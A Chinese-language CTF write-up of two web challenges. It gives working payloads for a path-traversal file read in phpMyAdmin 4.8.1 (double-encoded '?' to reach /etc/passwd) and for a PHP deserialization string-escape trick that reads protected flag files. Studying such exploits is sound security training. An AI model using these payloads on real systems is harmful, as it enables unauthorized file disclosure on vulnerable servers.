打开网站发现乱码信息(查看其他题解发现显示的是:我有一个数据库,但里面什么也没有~ 不信你找
)
但也不是明显信息,通过dirsearch
扫描得到robots.txt
,然后在里面得到了
User-agent: *
Disallow: phpinfo.php
访问phpinfo.php
:
不过这里我没有找到什么有用的信息,这里根据题解访问/phpmyadmin
看到phpMyAdmin版本是4.8.1
,这个版本的index.php文件里有一个漏洞可以读取文件,点击这篇文章详细了解原理
然后构造?target=pdf_pages.php%253f/../../../../../../../../etc/passwd
源码内对URL
进行了?
分割,在分割前,对参数进行了urldecode
,且如果?
号前面的文件名称在白名单里,就可以绕过,这样我们令target=db_sql.php
(db_sql.php是白名单里其中一个),二是在传参使对?
进行二次URL编码,即?
变为%253f
最后构造完整的URL
:
http://ad1cc1dc-3db1-48a8-8c40-8957b62c6e8a.node5.buuoj.cn:81/phpmyadmin/index.php?target=db_sql.php%253f/…/…/…/…/…/…/…/…/flag
打开网站点击看到源代码
$function = @$_GET['f']; //通过GET方法对f参数进行传值
function filter($img){ //一个过滤函数,过滤$img参数的php后缀等
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION); //销毁原$_SESSION,如果设置了的话
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST); /* 该函数使用数组键名作为变量名,使用数组键值作为变量值。
即extract($_POST);可以接受Post请求(同时覆盖原值) */
if(!$function){
echo 'source_code';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION)); //先对$_SESSION进行一次序列化,再对序列化结果进行一次过滤
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){ //我们要执行到这里
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
根据明显提示构造URL
:/index.php?f=phpinfo
在里面发现了预包含文件: d0g3_f1ag.php
php.ini
配置文件中设置了 auto_append_file
指令后,PHP 将自动将指定文件的内容附加到服务器上运行的每个 PHP 脚本的输出中。这提供了一种便捷的方式,确保某些代码或功能被一致地包含在所有 PHP 脚本中,而无需单独修改每个脚本,即预包含。
猜测后面需要读取到这个文件,接下来就是构造URL部分的内容:
/index.php?f=show_image
为了执行
echo file_get_contents(base64_decode($userinfo['img']));
接着构造POST方法里面的部分:
这里我们要让$userinfo['img']
的值是ZDBnM19mMWFnLnBocA==
(d0g3_f1ag.php的Base64编码,传进去后会被解码),这样才能读取d0g3_f1ag.php
文件
但是因为这段代码让我们不管设没设置img_path
,都会将$_SESSION['img']
(也就是后面的$userinfo['img']
)改成我们不想要的值
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
但是$userinfo = unserialize($serialize_info);
这句代码又让我们看到了希望,它正好在echo
命令的上面一行,我们考虑对$serialize_info
进行反序列化后会包含img : ZDBnM19mMWFnLnBocA==
这里来到了$serialize_info = filter(serialize($_SESSION));
,它首先会对传进来的$_SESSION
进行序列化然后过滤参数
直接给出POST部分的内容
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;s:2:“dd”;s:1:“a”;};
这里user的值(也就是那8个flag)总长度为24是为了让PHP往后读取合适的24个长度,而function里面的具体值是我们精心构造的
但是经过网站序列化加过滤得到的是:
a:2:{s:4:“user”;s:24:“”;s:8:“function”;s:59:“a”;s:3:“img”;s:20:“ZDBnM19mMWFnLnBocA==”;s:2:“dd”;s:1:“a”;}";}
这里主要是s:4:"user";s:24
意思是user
这个键的值长度应该是24
的,但是可以看到后面跟的是""
,长度是0
,那么PHP就不认这个,它认";s:8:"function";s:59:"a";s:3:
(刚好长度是24
),然后左右两边也有引号括着的,那么接着就读img
这个键,这个键正常读。后面还有一个dd
键是为了满足三个默认参数的要求的
也就是说经过这么一弄,function
这个键没了,只有user
和img
以及dd
了
然后在读到的d0g3_f1ag.php
注释里看到了新的提示文件d0g3_fllllllag
将以上Payload的对应值改成L2QwZzNfZmxsbGxsbGFn
(/d0g3_fllllllag
对应的Base64编码,注意要加斜杠)
即:
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:“img”;s:20:“L2QwZzNfZmxsbGxsbGFn”;s:2:“dd”;s:1:“a”;};